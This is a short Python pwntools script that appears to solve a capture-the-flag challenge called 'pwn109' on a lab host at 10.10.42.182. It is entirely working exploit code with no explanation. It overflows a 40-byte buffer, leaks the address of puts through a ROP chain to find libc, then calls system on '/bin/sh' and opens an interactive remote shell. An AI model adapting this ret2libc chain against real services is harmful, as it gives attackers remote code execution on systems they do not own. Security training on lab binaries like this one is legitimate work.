#!/usr/bin/python3

from pwn import *

context.binary = target = ELF("./pwn109", checksec=False)
# r = process()
r = remote("10.10.42.182", 9009)

# funcs
s = lambda a: r.sendline(a)

# gadgets
pop_rdi = 0x4012a3

# buf
buf = b"A"*40
buf += p64(pop_rdi)
buf += p64(target.got.puts)
buf += p64(target.sym.puts)
buf += p64(target.sym.main)
s(buf)

# leak
r.recvuntil(b"This time")
r.recvline()
puts = u64(r.recv(6).ljust(8, b"\x00"))
log.info("puts: %#x", puts)
libc = puts - 0x80aa0
log.info("libc: %#x", libc)
system = libc + 0x4f550
sh = libc + 0x1b3e1a

# pop
buf = b"A"*40
buf += p64(pop_rdi)
buf += p64(sh)
buf += p64(pop_rdi+1)
buf += p64(system)
s(buf)

r.interactive()